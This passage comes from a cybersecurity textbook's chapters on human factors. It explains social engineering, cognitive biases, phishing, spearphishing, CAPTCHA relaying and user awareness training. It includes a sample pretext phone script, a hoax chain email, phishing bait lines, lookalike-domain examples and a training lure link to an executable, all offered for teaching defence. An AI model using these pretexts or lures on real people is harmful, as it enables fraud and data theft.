Finally there is the contentious question of what numbers are called. In this book,
the word billion will denote the number 1 000 000 000.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A computer system
• IOT
• A server
• A client
• A cluster
• A cloud
• A system of systems
• Malware
• An APT
• A botnet
• Ransomware
• Security target
• An asset
• CIA targets
• Confidentiality
• Integrity
• Availability
• A security policy
You should check that you understand their definitions and can give examples of
contexts where they play a role.
16 1 Introduction: Why Cybersecurity?

Further Reading

Many organisations—both companies which develop security products and industrial

organisations whose members report security breaches – publish annual reports with
statistics for various categories of security “events” which have been reported during
the year. These reports can give a fascinating impression of how often things go
wrong with respect to cybersecurity and which forms of attack are prevalent at the
moment. A good and very readable example from 2021 is Verizon’s “2021 Data
Breach Investigations Report” [93].
Udi Arief and his colleagues have published a pair of articles, “Understanding
Cybercrime from its Stakeholders’ Perspectives”, Parts 1 and 2, which discuss
cybercriminality and how the criminals and their victims respectively consider the
matter [7, 6]. They can be recommended.

Exercises

1.1 Security targets in Ultima Thule Hospital

Ultima Thule Hospital has a security policy which amongst other things contains
the following rules:
1. In every department of the hospital, the chief consultant has unlimited access to
all patient records for patients which have been treated in the department.
2. A department’s nurses have access to read the patient records for all patients who
are being treated in the department.
3. Persons who are not associated with the hospital have no access to the patient
record system.
4. The hospital has the aim that the patient record system should be available for
online reading for at least 99.5% of the time, measured over a 3-month period, and
it must be available for insertion of new patient records and changes to existing
records for 90% of the time, measured over the same period.
How would you classify these rules in relation to CIA targets? (In other words, for
each rule you should try to say to what extent it is related to a target for confidentiality,
integrity and/or availability.)

1.2 A security policy for a private home

Write a security policy for the IT assets in your home. The policy should give a list
of the assets which it covers, and give a set of rules for who should have access to
the individual assets. Remember that there may be many more assets than you might
imagine in the first instance—even a small IT system for use at home can contain
many pieces of equipment and software for many applications. (If you run out of
ideas, you may find some help in Appendix A.)
Chapter 2
Technique and Human Beings

It is wrong to imagine that all attacks on a computer can be avoided with the help of
technical assistance—extra programs or small boxes filled with protective equipment.
Even a very well protected computer can be compromised by its users, if they behave
in an inappropriate manner. Study of how humans interact with computerised systems
has been an established discipline since at least the 1960s. For many years the focus
was on design of the human-machine interface in order to avoid situations where
an operator misunderstood what was going on or overlooked important warnings
appearing on an often very complex control panel in a plane, train, ship, power
station, nuclear plant or other similar system, leading to very costly accidents.
The possibility of cyberattacks adds an extra dimension to all this, since what
the users experience may originate from the attackers rather than from the computer
system itself, and may be deliberately designed to confuse the users or get them to
behave in a dangerous manner. This is nowadays a much more important threat to
security than simple misunderstanding or confusion, and it needs quite a different
approach for dealing with it.
It is often helpful to visualise the mechanisms which protect the system against
security breaches as a series of barriers, which deal with preventing various types
of threat. This idea is illustrated in Fig. 2.1. Some of these barriers are technical,
operating within the physical computer system, while others are psychological,
affecting the users of the system. None of these barriers is perfect—they all have
defects of various sorts, some serious, others less so. But in a well-designed system
they should complement one another, so that a threat which exploits a weakness in
one barrier will be blocked by one of the other barriers. If this is not the case, some
threats will be able to pass through all the barriers and a security breach can occur.
An example of a combination of conditions which could give rise to a breach
might be:
• Incorrect mindset for the user—for example: a belief that “this computer is my
personal laptop, so nobody else has access to it, even when I use the Internet”.
This has the effect that the user has no motivation for taking precautions against
attackers who will take over control of the computer via the Internet.

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 17

R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_2
18 2 Technique and Human Beings

Potential
security
breach Actual
security
breach

Mindset Behaviour Technical

countermeasures

Fig. 2.1 How security breaches arise.

• Dangerous behaviour by the user—for example: clicking on a link in an e-mail

sent by someone who you don’t know, in order to download a file.
This implies that the user uncritically accepts downloads from the Internet.
• Insufficient technical protection—for example: that the computer’s antivirus
system is not set up to check downloaded files automatically for malware.
The effect of this is that downloads containing malware such as backdoors, which
give the attacker access to the computer, will not be detected.
Getting IT users to have a mindset which reflects reality and to behave in a safe
manner is largely a question of effective motivation and training which we look at
later in this chapter. Later on in this book we shall look more closely at the various
technical methods which are used to protect the computer. But it is important to
realise that the computer and its user(s) make up a sociotechnical system, i.e. an
integrated system, where both parts— the computer and the user— can give rise to
lack of security. So let us start by looking at which mechanisms can be used to fool
the user into doing something inappropriate.

2.1 Psychological Attacks

Typical techniques for getting people to behave in an inappropriate manner exploit

certain properties of the human psyche, especially:
• Curiosity
• Helpfulness
• Sympathy and hate
• Trust in authorities
• Uncertainty in decision making
People often use the general term social engineering to cover all techniques which
exploit humans’ psychological properties in order to get them to reveal confidential
information, give attackers access to places where they should not be allowed to go,
perform a crime and so on. The idea has been known since antiquity. In the old days,
2.1 Psychological Attacks 19

the attacker would typically meet up with the victim and talk him into behaving in
the desired manner. Later on, attackers went over to using telephones. And nowadays
the most common mode of attack is via internet-based media such as e-mail, texting
or use of the social media.

2.1.1 Curiosity

Most people are curious. This property can be used to get them to do something
inappropriate. For example, some researchers performed an experiment in which
they left 10 USB memory sticks on the parking lot in front of the main office of
a large company. Each of these USB sticks contained a so-called backdoor. If the
stick was inserted into the type of PC used at this company, it would be possible for
the external attacker to get access to the PC as if he were the genuine user of the
computer. At least 3 employees of the company took one of these sticks and put it
into his computer “to see what it had on it”. In this case the “external attacker” was
just one of the researchers, but the employees didn’t know this, so in principle their
curiosity could have been very serious for the company.

2.1.2 Helpfulness

Most people would like to help others, especially friends and colleagues, who seem
to have a problem. This means that it is usually relatively easy to get people to behave
like Laila Jones in Fig. 2.2:

 “Human Resources, Laila Jones”

 “Hi Laila, this is Michael from the IT Security section.”
 “Yes?”
 “Am I disturbing you?”
 “No, it’s OK. I’m just finishing off some paper-work.”
 “Oh, fine. We’re trying to set up an IT security seminar for new employees and we need to
get hold of a few just to try it out. It would be really great if I could have the names and
telephone numbers of everyone who has joined the company within the last month. Can
you help me with this?”
 “I won’t have time until this afternoon. Is that early enough? What’s your extension
number?”
 “That’s fine. You don’t need to rush— I have a meeting which lasts most of the day. The
easiest will be if I ring again when I get back to my desk. It’ll probably be after 4 o’clock.”

Fig. 2.2 An attacker rings to Laila Jones...

The attacker pretends to be another employee with an important task to do, and he
asks for some information. This sounds fairly plausible. So it is easy to imagine that
Laila Jones gives Michael a list with the names and extension numbers for all the new
20 2 Technique and Human Beings

employees when he rings again at half past four. But “Michael” isn’t an employee.
He is an external attacker who would like to get hold of contact information for new
employees, as these are probably not quite up to the mark with respect to IT security
at their new place of work. They are likely to be easy targets for further attacks.
There are of course many other ways in which helpfulness can be exploited to get
people to take part in criminal activities. For example to facilitate money-laundering:
The victim receives a mail, text or message via social media explaining that the sender
has a problem transferring some money from A to B, and could the victim help by
allowing the funds to pass via his or her account? The sender may even promise
that the victim will receive a small percentage of the funds as a reward for this help.
Surprisingly many people fall for this form of persuasion.

2.1.3 Sympathy and Hate

By stimulating feelings of sympathy or hate, it is possible to get people to change their

opinions or to do things which they would otherwise not have any motivation for.
This property has for centuries been exploited in political and religious propaganda.
In recent years this has been used to get people to follow the ideals of islamic jihad,
both in the form of physical war and via cyberattacks. It has also been used to affect
elections, most notably the US presidential election in 2016, where Russian “trolls”
used false social media accounts to send out messages whose apparent purpose was
partly to sow discord between segments of the population (black vs. white, christians
vs. muslims etc.), and partly to agitate more directly for or against the individual
candidates. This form of impact campaign with false originators and wholly or partly
fictitious messages (“fake news”) is also a form of cyberattack, which is typically
amplified via the inherent mechanisms in social media for “liking” and reposting
messages.
Sympathy and hate are very powerful emotions which can often get people to
forget all about rules of safe behaviour on the Internet. This can be exploited by
cybercriminals to perform various forms of fraud. Faced with web pages containing
dramatic images of starving children or people who are homeless after floods or other
natural disasters, it is only natural to feel sympathy for the victims and respond to
urgent appeals for help by sending money to a supposed relief fund without checking
whether it is genuine. It is also well-known that the appeal can be made even more
effective, if a victim of the (real or imaginary) disaster can be identified as a named
person, an effect known as the named victim bias.

2.1.4 Belief in Authority

Many people believe unconditionally what people “higher up in the system” tell
them. This can also be exploited by sending them instructions which appear to come
2.1 Psychological Attacks 21

Fig. 2.3 An e-mail with a

message from the police? Ref.: ITC-18-2B35

This is a warning of currently active IT criminality, which we

ask you to forward to your friends, family and other contacts.
Over the next few days, do not try to open any electronic
message with the subject "POSTCARD FROM HALLMARK",
regardless of who appears to have sent it to you. It contains
a virus which will delete your entire hard disk.
Delete the message immediately, and turn off your computer.
We urge you to pass this warning on to all your contacts as
soon as possible. This will be to everyone's benefit.

Thank you for your cooperation.

James Harrison
Detective Inspector,
IT Crime Section

from a public authority— such as the police, the tax people or the health services—
a financial institution, or a senior person in the company which they work for.
A simple example, which turns up from time to time, is e-mails which apparently
come from the police, with a text something like the one in Fig. 2.3. Really many
people who receive this type of mail will do as it says, just because it seems to come
from a person in authority. In this case, the attack works like a sort of chain letter,
where more and more copies of the mail circulate in the Internet. This is harmful,
because it can overload the Internet and therefore delay more important traffic— in
addition to being extremely irritating for the recipients of the mail.
More serious examples of the effects of unreflected belief in authority appear
when spoofed mails, apparently from a senior figure in an organisation, are sent to a
more junior member of the staff. Most commonly, the aim is to cause a fraudulent
transfer of funds to a bank account controlled by the attacker— a phenomenon known
as CEO fraud. But of course there are many other possibilities, such as giving orders
to turn off some vital network component or to close down a power distribution
sub-system as part of a cyberattack.
A well-known experiment with the aim of investigating people’s tendency to
believe in authority was performed in the 1960s by Stanley Milgram, a researcher at
Yale University in USA. The participants in the experiment were people with many
different backgrounds and levels of education. They were told that they should give
a victim electric shocks at increasing voltages “to investigate the threshold of pain”.
One of the participants acted as an authority who gave commands to the participants
who controlled the voltage:
• “Please continue”
• “The experiment requires that you continue”
• “It is absolutely essential that you continue”
• “You have no other choice— you must go on”
22 2 Technique and Human Beings

26 out of 40 participants (65%) were willing to obey these orders right up to the
highest voltage (450 V), even if they could hear cries of pain, which apparently came
from the victim1. None of the participants stopped before the voltage reached 300V.
There has been a good deal of discussion about what Milgram’s experiment really
shows. It seems clear that ordinary people can be got to perform outrageous acts
when they are dictated by an authority. But quite a lot of things indicate that a vital
condition for people actually obeying the orders is that the “authority” pushes them
into it, so that they have no time to think carefully about the matter. We shall look at
this aspect of the human psyche in the following section.

2.1.5 The Brain’s Two Modes of Operation

Time to reflect is of great significance for which decisions people make. If you doubt
this, then try to give a group of people the problem shown in Fig. 2.4. It is important
that they only have 5 seconds to answer the question.

Problem
An electric lawnmower with battery costs AC440 in total.
The mower costs A
C400 more than the battery.
What does the battery cost?

You have 5 seconds to find the answer.

Fig. 2.4 A problem which must be solved very quickly

If you try this out, you will probably find that a high proportion of people give the
wrong answer. This is not because they are just plain stupid: When a group of bright
students from the best universities in USA were asked to solve a similar problem,
more than 50% gave the wrong answer. I get similar results here at the Technical
University of Denmark when I ask my own students, who are expected to have a
good mathematical background. The typical mistake is to answer that the battery
costs A
C40. If that were true, the mower alone would cost A C440 (AC400 more than the
battery), so mower+battery would cost A C480.
Modern psychological theory postulates that there are two mechanisms that the
brain uses for problem solving. They are often called System 1 and System 2.
System 1 works very fast on the basis of intuition and previous experience.
System 2 works much slower, but can “work things out” from basic principles,
logical reasoning and (where necessary) mathematics.
If you are pressed to give a quick response, you have to rely on System 1.

1 In reality the sounds came from a tape recorder.

2.1 Psychological Attacks 23

2.1.6 Uncertainty in Decision Making

Very often you have to make a decision where the best choice is not obvious. What
people do in such situations has been investigated by a number of researchers in
cognitive psychology, especially Daniel Kahneman and Amos Tversky [56]. The
final decision is affected by a number of factors, which people are mostly not
conscious of, including:
• Anchoring
• Attribution
• Framing
• Affect
An attacker can exploit these factors to get a victim to make a particular decision.

Anchoring

Anchoring is the phenomenon that we tend to relate to things which we have just
seen or heard. For example, Kahneman and Tversky asked two different groups of
people the same main question:
• “What percentage of african countries are members of UN?”
(This was in the 1980s, when relatively few African countries were members.) Group
1 were also given the supplementary question “Is it larger or smaller than 10% ?”,
whereas Group 2 was given the supplementary question "Is it larger or smaller than
65% ?” The average of the answers from Group 2 (45%) was noticeably larger than
the average from Group 1 (25%). The supplementary question had got Group 2 to
“think bigger” than Group 1.
Anchoring is a really fundamental mechanism in the brain, and is very difficult
to escape from. If, for example, the participants were not given a supplementary
question, but had just seen a wheel of fortune which stopped at 10, then they gave
answers which on average were lower than if they had seen the wheel stop at 65.
Anchoring even plays a role in activities such as perception and recall. For
example, one group was asked whether the annual average temperature in Germany
was higher or lower than 20° C. This group was then much better at recognising
words with a relation to summertime, which they only saw for a very short time,
than a group who were asked whether the average temperature was higher or lower
than 5° C. Such observations indicate how one can fool people into thinking (and
behaving) in a particular way by getting them to take part in some apparently harmless
preliminary activity— a technique commonly known as priming..
24 2 Technique and Human Beings

Attribution

Attribution is in this context the activity of trying to find the reasons for human
behaviour. You can for example think how you would react if you are driving to work
in a car and another driver cuts in in front of you, so you have to brake suddenly. What
would you say to yourself? Would it be “Stupid cow” (or something even ruder) or
would it be “She’s probably had a bad day”? It is most likely to be the first of these
possibilities, because you attribute the behaviour to certain internal attributes of the
person, without thinking very much about the external factors.
This phenomenon, that you have a tendency to overestimate the internal factors
and underestimate the external factors when you have to explain other people’s
behaviour, is often called the fundamental attribution error. It is probably a result of
a tendency to focus more on the situation than the individual, especially if you don’t
know much about the other person.

Framing

There are many way of formulating a given question, but the way in which you
choose to formulate it often has a considerable effect on how people answer. This is
a well-known phenomenon which can introduce bias in people’s responses to opinion
polls and other surveys. The formulation creates a kind of frame within which the
question is to be understood. An example:
A new type of influenza is expected to result in 600 people dying during
the coming winter.
You must choose between two proposals for how to deal with the disease.
The first formulation of the two alternative proposals is:
Program A1: Will result in 200 lives being saved.
Program B1: There is a probability of 1/3 that 600 lives will be saved,
and a 2/3 probability that no lives will be saved.
Most people who are asked choose Program A1.
The alternative formulation of the two proposals is:
Program A2: Will result in 400 people dying.
Program B2: There is a probability of 1/3 that nobody dies, and a 2/3
probability that 600 people die.
Most people who are asked in this case choose Program B2.
It is important to notice that it is only the formulations of the two alternatives
which are different— Programs A1 and A2 give the same result (400 die and 200
are saved), and Programs B1 and B2 likewise give the same result. But when people
have to choose, they give more weight to outcomes which are presented as being
certain than on outcomes which are just given as high or low probabilities. Program
A1 therefore sounds better than B1, while A2 sounds worse than B2.
2.2 Phishing 25

By exploiting this kind of eftect, an attacker can get people to make particular
choices, so that for example they preferentially choose particular links to click on in
a web-based system. Maybe some of the links are fraudulent and give the attacker a
greater “profit” (and the user a greater “loss”).

Affect

Most people are not good at statistics. They can be fooled by getting a very dramatic
formulation to affect their feelings. Suppose, for example, you ask people to consider
two diseases where there is high risk of a deadly outcome by asking:
Which of the following diseases is worst:
(a) A disease which kills 1286 persons out of every 10 000 who are infected?
(b) A disease where the probability of dying is 24.14%?
Here most people answer that (a) is worst, even if there is really only a 12.86%
probability of dying of it. This seems to be because people imagine a row of more
than 1000 corpses, while the large number of dead in case (b) is hidden in the
statistics. So this is also a way to get users to make particular choices which are not
necessarily to their advantage.

2.2 Phishing

Phishing is a very common form of attack, in which various techniques are used to
get people to reveal personal or other confidential information. The word “phishing”
is derived from the ordinary English word “fishing”, which nicely describes what
the attacker (“the phisher”) does—he or she fishes for information. Just like when
you go out fishing, you need some bait, which you think the victim will bite on. Most
often this is sent in an e-mail or text message, which possibly includes a harmful
attachment or a link to a harmful web page, but phishing can also take place via
social media such as Facebook, Twitter and LinkedIn.
The bait must appear to be attractive or even essential for the victim. For example
it might be a message like one of the following:
• You have won a prize in a lottery
• You must update your credit card
• You can get money back from the tax authorities
• You can play an exciting new online game
• You need to take action to stop your bank account being emptied by hackers
• Your boss would like your comments on some topic
• You need to read an important report
• The sender would like to have a collaboration with you about something
which you might be expected to be interested in.
26 2 Technique and Human Beings

The list of possibilities is almost endless. And then the victim is asked to send some
confidential information or type them in on a webpage or open an attached file, which
will automatically find the desired information on the victim’s computer and send it
to the phisher. In a private context it could for example be some personal data, such
as credit card data, PIN codes, passwords, stored e-mails, private photos etc. In an
industrial company it could be internal information, patent data or lists of customers.
In the public sector it could be data about health, social problems or criminal records
and so on. All of these are very sensitive pieces of information which the victim
should not disclose. Phishing is therefore a real problem for society.
Initially, phishing mails were mass mailings, where the sender’s hope was that
maybe just a few of every million recipients would fall into the trap. If you are going
to cheat people of a large sum of money, even a low success rate is satisfactory.
But as all the mails in an attack would be more or less identical, it is relatively
easy for large organisations or suppliers of Internet services to detect and block the
attack. Nowadays we therefore commonly see attacks which are specifically directed
at individual persons. This technique is known as spearphishing, by analogy with
the fishing technique where you use a spear to catch specific fish, instead of using a
large net to catch a large number of fish, most of which are of little value. The chosen
targets are typically highly placed persons with responsibility within companies and
public institutions. They are all too often not particularly careful in relation to threats
via e-mail, and it is therefore relatively easy to get them to accept the phishing mail’s
message. And because they are placed high up in the company hierarchy, they almost
certainly have access to information whih is worth a lot of money to the phisher.
Phishing mails exploit many of the techniques which have been mentioned earlier
in this chapter. So, in addition to the more or less plausible information which acts
as bait, they are often characterised by:
• Short deadlines: You must hurry to react, otherwise something terrible will
happen. You mustn’t use time to think about the matter!
• Appeals to authority: The message refers to an important person (probably one
that you know). Perhaps it even looks as though this person sent the mail.
• False sender information: The “sender”, whose mail address can be seen in
the “From” field in the mail, is not the real sender. The mail is— as they say—
“spoofed”.
• False links: The web address, which you see when you read the mail (or the
attached file or the web page) does not correspond to the address which is actually
given in the link.
• Cybersquatting: The e-mail addresses and links look like ones which you know.
But if you study each of them carefully, you will discover that there are some
small but important deviations— for example, that it says dansskebank.dk instead
of danskebank.dk; or it says [email protected], where the first character is the
digit ’0’, instead of [email protected], where the first character is the capital letter
’O’.
These features can be very difficult to see through, and research shows that even
experienced IT users can be fooled by a well-designed phishing mail [25]. The basic
2.3 Humans vs. Machines 27

problem is that the recipient is exposed to cognitive overload— in other words, they
need to use more information than the brain can handle— when they need to check
all the indicators for a “legal” mail or web page. It is necessary to:
• Check whether the sender’s name really is the one given in the “From” field in
the mail. (Most mail clients and apps can show the address from which the mail
was sent, though this can also be spoofed.)
• Check all links in e-mails and web pages to see whether the link really is to
the address which can be seen in the text. (Most mail clients show the true link
address if the mouse is held over the link in the text.)
• Check whether the message looks reasonable. Would you expect a message like
this from the (supposed) sender? Are you being asked to send information such
as passwords, which you should never send to other people? Are there revealing
phrases in the text which the sender would never use?
• Check the language. Is the mail filled with spelling errors or poor grammar?
• Check that any web addresses given in the message are OK. Are they spelt exactly
as you would expect?
It can be hard work, especially for people with no competences in IT.

2.3 Humans vs. Machines

Computers have no psyche, so they cannot be talked into performing inappropriate

acts by the use of the methods discussed in this chapter. So far they are not particularly
good at extracting useful information from a noise-filled picture. These two properties
are used in so-called CAPTCHA systems for controlling access to services via the
Internet 2. When a user tries to get access to the service, an image is displayed with
some (typically slightly distorted) letters and digits on a noisy background, as in
Fig. 2.5.

a.

Fig. 2.5 Typical images for

use in a CAPTCHA system
a. A simple image b. A more
noisy image b.

2 CAPTCHA stands for Completely Automated Program to Tell Computers and Humans Apart.
28 2 Technique and Human Beings

The user is asked to type in the sequence of characters which can be seen in the
image, and is only granted access if they are typed in correctly. For a human, it is
usually a simple task to separate the characters from the background, whereas it is
dfficult for a computer to do so. CAPTCHA systems are therefore used to hinder
automated, computer-based attacks on IT services. They are particularly used in
attempts to:
• Hinder computer generated, irrelevant comments (so-called “Comment Spam”)
in blogs and web fora.
• Protect web page registration.
• Ensure that only humans vote in online polls.
• Hinder attempts to find IT users’ passwords by automated submission of words
chosen from a large dictionary.
As technology for image analysis on computers develops, there is a need for more
complex CAPTCHA images, as in Figur 2.5(b). Up till now it has been possible to
keep a little bit ahead in the battle to keep automated attacks out.
No protection is perfect, and inventive attackers have found a way to get round
CAPTCHA protection. You just need to use some of the techniques presented earlier
in this chapter to persuade some humans to help in decoding the CAPTCHA images.
For example, you can send the images as part of a fake computer game. This is
essentially a type of trojan horse, with an apparently innocent function (the game),
but also a hidden, malicious function. A good example of this is Melissa Strip, spread
by the Troj/CAPTCHA-A malware. Players in the game were enticed into reading
some CAPTCHA images by being promised that the young woman “Melissa” would
take more and more clothes off, every time that the player decoded a new CAPTCHA
image and correctly typed in the sequence of characters found in it.
When the sequences of characters are sent back to the computer that sent the
images, it can use them to get access to the desired IT service. The entire procedure

1 Sign on
3
2
4 MH2y
5 MH2y Man-in-the-Middle

Server

Fig. 2.6 The procedure used in attacks based on Melissa Strip.

(1) The attacker (the “man-in-the-middle”) attempts to use a service on a server.
(2) The server sends a CAPTCHA image which must be read.
(3) The attacker forwards the image to a human, who has been enticed to take part in the “game”.
(4) The human sends the text in the CAPTCHA image back to the attacker.
(5) The attacker sends the text to the server, which accepts the attacker.
2.4 Can Psychological Attacks Be Prevented? 29

is illustrated in Fig. 2.6. It is worth noticing that the attacker never attacks the victim
directly, but just places itself between two innocent parties and manipulates the traffic
between them. This way of organising an attack, which is very common, is often
called a man-in-the-middle (or just MitM) attack. We will see more examples of
MitM attacks in later chapters.

2.4 Can Psychological Attacks Be Prevented?

Of course the real answer to this question is “no”, since it is not possible to change the
human psyche. However, a number of approaches are commonly used for reducing
the success rate of psychological attacks. The simplest is just to publish sets of
rules for secure behaviour on the net, such as the set of rules suggested above for
checking web pages or incoming e-mails for indications of phishing attempts. This
type of prescriptive approach for what to do (i.e. an approach giving rules of the
type “Do this. . . ”, “Don’t do that. . . ”) is very popular among large organisations
and government agencies, as it is simple and can be implemented with the help of a
web page or a little brochure. However, it is not clear how effective it is. In the real
world, people drive cars without using the safety belts, exceed speed limits, talk or
send text messages on their cellphones while driving, go out swimming alone, move
about on building sites without wearing a safety helmet and have unsafe sex— even
though there are massive campaigns to persuade them not to do such things because
of the dangers involved.
This obvious discrepancy has motivated a good deal of research on why these
approaches do not have the hoped-for effect. It is clear from the examples given
above that this is not a problem which only affects the field of cybersecurity—or
even, more generally, information security. Much of the earliest work was carried
out in the 1980s and 1990s, and focused on how to achieve a high level of industrial
safety. and it is only relatively recently that the many different psychological theories
developed in that context have been applied to IT security.
There are two main threads which run through the body of research:
• Motivation: How should one motivate individuals to achieve and maintain a high
level of safety or security?
• Training: How can individuals be trained most effectively to operate safely or
securely?
It is important to recognize that these two questions can be answered independently
of one another—it is quite possible to influence people to have a high level of
motivation, and then observe that they are unable to operate securely due to lack of
training. And vice-versa, it is possible to train people to behave securely, but fail to
motivate them to do so in practice. Let us look at the two areas in turn.
30 2 Technique and Human Beings

2.4.1 Motivation

The question of what it is that motivates people to achieve a good climate for
conventional industrial safety within an organisation was investigated in 1997 by
Williamson and her co-workers [101]. They carried out a questionnaire-based study
of 1560 workers in a wide range of jobs, and found five important factors which
affect safety (either positively or negatively):
1. Personal motivation: Items which the respondent believes are necessary in order
for him/her to behave more safely.
2. Positive safety practice: Items which the respondent recognises as existing good
practice with respect to safety.
3. Risk justification: Excuses or reasons for not behaving safely.
4. Fatalism: Belief that failures of safety will inevitably occur.
5. Optimism: Belief that the probability of having an accident is low.
To achieve better levels of safety, it is evidently important to counteract the
demotivating beliefs associated with Risk justification, Fatalism and Optimism, and
to reinforce the motivating beliefs by providing personal motivators and ensuring
that examples of good practice remain highly visible to everyone in the organisation.
Although the Williamson study relates to conventional safety, the authors of the
study point out that the beliefs observed were more or less invariable over a large
range of workplaces and job types. Although this never seems to have been checked,
there are therefore reasonable grounds for believing that the results will also be valid
for IT security.
Looking back to the start of this chapter, factors 1 and 2 are significant for
avoiding dangerous behaviour, while factors 3, 4 and 5 are aspects of the problem of
having an incorrect mindset. If we now consider how these ideas fit into the area of
cybersecurity, it is very common to meet people who believe that “accidents always
happen to other people” (Optimism) or that “Murphy’s law applies” (Fatalism),
or who have ideas about IT systems which do not correspond to reality, but which
provide them with excuses for not taking precautions. The example at the start of the
chapter is just one example of this.
Another possible approach to motivation is to use fear appeals to change people’s
attitudes. This has been a common approach in public campaigns in several areas,
particularly those related to health issues and road safety (“Smoking can damage your
health”, “Speed kills!”, . . . ), and several psychological theories have been developed
to explain how fear appeals work and should be applied. One well-known example
is Rogers’ Protection Motivation Theory, which in its most recent formulation [75]
postulates that an attitude change leading a person to (intend to) adopt a “good”
response depends on that person’s motivation for protection, which in turn depends
on the results of four cognitive processes:
1. Perception of the severity of the threat;
2. Perception of the probability of the threat materialising;
3. Perception of the efficacy of the response to cope with the threat;
2.4 Can Psychological Attacks Be Prevented? 31

4. Perception of the individual’s own ability to produce this response (often known
as self-efficacy).
In the context of IT security, this means that a fear appeal to users will be effective
at getting them to protect themselves if the problem is serious, if it is likely to affect
those users, if it can be avoided by taking suitable action and if the users are confident
that they can in fact perform the action.
Rogers’ theory was for example used by Weirich and Sasse as the basis for a
campaign to persuade users to use secure passwords [94]. They found that many of
the users initially could not see that poor use of passwords (lack of secrecy, use of
weak passwords etc.) constituted a threat. It was therefore necessary to provide a
suitable fear appeal in order to rectify the situation.
Fear appeals are in general, however, not very effective. This often seems to be
because people lack belief in their own ability to cope with the threat—i.e. they lack
belief in their self-efficacy. This typically gets them to produce a counter-reaction to
the fear appeal, so that they resist changing their behaviour in the desired direction.
For example, they may convince themselves that the problem is unimportant or they
may just mentally refuse to think about the problem at all.
One notable feature of many of the studies on motivation with respect to IT
security is that they have taken place within enterprises rather than in the population
as a whole. The reasons for this are rarely stated, but probably reflect the fact that
enterprises are affected by requirements for good IT governance, which gives them
a motivation for investigating their own situation. Companies also have a variety of
tools at their disposal for motivating users to behave securely, such as disciplinary
action against users who do not follow the enterprise’s security policy—an artificial
fear appeal which can be very effective. Citizens in general cannot be motivated by
such means, and have to be motivated by spelling out the consequences of insecure
behaviour for their own economical or personal situation. A typical approach is to
use media-based awareness campaigns focusing on areas where citizens have been
victims of currently popular forms of attack.

2.4.2 Training

Simple schemes for training IT users to behave securely often rely on giving these
users sets of instructions for what to do. For many people, this prescriptive approach
does not work well, since the users typically do not get any explanation of why they
need to do this or that. Moreover, many users—especially inexperienced ones —
often do not really understand the terms used in the instructions.
Better results seem to be achievable when more interactive approaches are used.
Competitions and quizzes, where participants compete to be best at avoiding psycho-
logical attacks seem to have a lasting effect on people’s abilities to keep themselves
safe. Putting the users into an interactive (e-learning) environment where they are
exposed to examples of both genuine mails and phishing mails of various types seem
32 2 Technique and Human Beings

http://83.96.231.108/~test/Greetings.exe

Fig. 2.7 An example from an e-learning environment used in the Danish CitAware project for
improving users’ abilities for avoiding psychological attacks.
Above:: A situation to which the user must respond.
Below: Possible responses from the e-learning system.

to be particularly effective for giving the necessary training, and for improving levels
of awareness of the risks of psychological cyberattacks in general.
Fig. 2.7, taken from an investigation performed in Denmark in 2009, illustrates the
idea. Participants are presented with the image shown at the top of the figure, and are
asked whether they would be willing to click on the link. Possible answers are “yes”,
“no” or “don’t know”. The image is interactive: initially, the box showing the true
destination of the link in the center of the image is not visible, but this information
will appear if the participant moves the mouse cursor (the red arrow in the figure)
over the link, as in most modern web browsers. Immediately after answering the
question, the participant is given feedback, as shown at the bottom of the figure. The
feedback is positive (bottom left) if the answer indicates safe behaviour and negative
(bottom right) if it indicates unsafe behaviour, including “don’t know”.
When users were shown a series of such situations, their ability to distinguish safe
from unsafe situations increased significantly. Figure 2.8, from the same investigation
as Fig. 2.7, shows the result of testing several hundred participants, who were all
members of the general public, with a series of six such situations. The participants
had been asked to say whether they regarded themselves as beginners, experienced
2.4 Can Psychological Attacks Be Prevented? 33

Fig. 2.8 Results from the CitAware e-learning system, when users were exposed to a series of
situations where they should judge whether the situation was safe or unsafe.

users or experts, and although these three classes of users clearly had different
levels of competence, where the least experienced of them had a very poor idea of
what to do at the start of the series, all three classes could distinguish safe from
unsafe situations more than 80% of the time at the end of the series. This approach
has subsequently been applied in campaigns in industrial companies, who were
characterised by having users with a wide variety of backgrounds, with similarly
positive results.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• Social engineering
• Cognitive psychology
• Anchoring
• Attribution
• Framing
• Affect
• Phishing
• Spearphishing
• Cybersquatting
• CAPTCHA
• Man-in-the-middle
You should check that you understand their definitions and can give examples of
contexts where they play a role.
34 2 Technique and Human Beings

Further Reading

A very readable book on social engineering, with particular focus on computer

security is Kevin Mitnick’s book “The Art of - Deception: Controlling the Human
Element of Computer Security” [65]. Mitnick became famous—or maybe notorious
is a better word—due to his activities, many of which were indeed based on social
engineering, as a hacker in USA in the 1980s.
Many of the ideas described in this chapter come from the area of cognitive
psychology, which is the study of those processes which are related to perception,
memory, thinking and language. This is a discipline where there is a very large body
of literature. Of particular interest in relation to cybersecurity is Kahneman, Slovic
and Tversky’s book “Judgment under Uncertainty: Heuristics and Biases” [56],
which deals with how people make decisions, when these are based on uncertain
information.
Another book by Kahneman, which can be strongly recommended, is “Thinking,
Fast and Slow” [55], which presents the two ways in which the brain works, with
numerous examples. It is both entertaining and instructive.

Exercises

2.1 Cyberssecurity in Ultima Thule Hospital

Ultima Thule Hospital has to decide whether money should be spent on buying new
IT equipment or spent on better IT security. One group in the hospital’s management
think that new IT equipment will save 150 lives a year, while another group are of
the opinion that better IT security will save 60% of 250 lives. Which group do you
think was largest? You might like to try to search on the web to see if you can find
support for your point of view.

2.2 Phishing (1)

Phishing is often considered as a big problem, especially in connection with e-
banking. Search on the net for examples of successful phishing attacks. Are there,
in your opinion, a lot or just a few? This question is related to human perception of
risk. Search for references related to risk perception and make a short literature list
on the subject.

2.3 Phishing (2)

Do you personally know someone who has been fooled by a phishing attempt? How
did the attack take place and on what sort of equipment (e.g. on a PC via a web page,
via e-mail, on a smartphone, via Facebook,. . . )?

2.4 Social engineering

For this exercise you should imagine that you work in the headquarters of a large
company with branches in several european countries. One day you see an English-
speaking gentleman, who is on his way up the stairs to the management level. He
Exercises 35

is expensively dressed in a worsted suit with a very fine tie, and he is carrying a
very nice leather attaché case. You have never seen him before, and he doesn’t seem
to have the usual guest ID card, which visitors to the company must normally bear
visibly on their clothes. You ask him what his business is, but he looks thoroughly
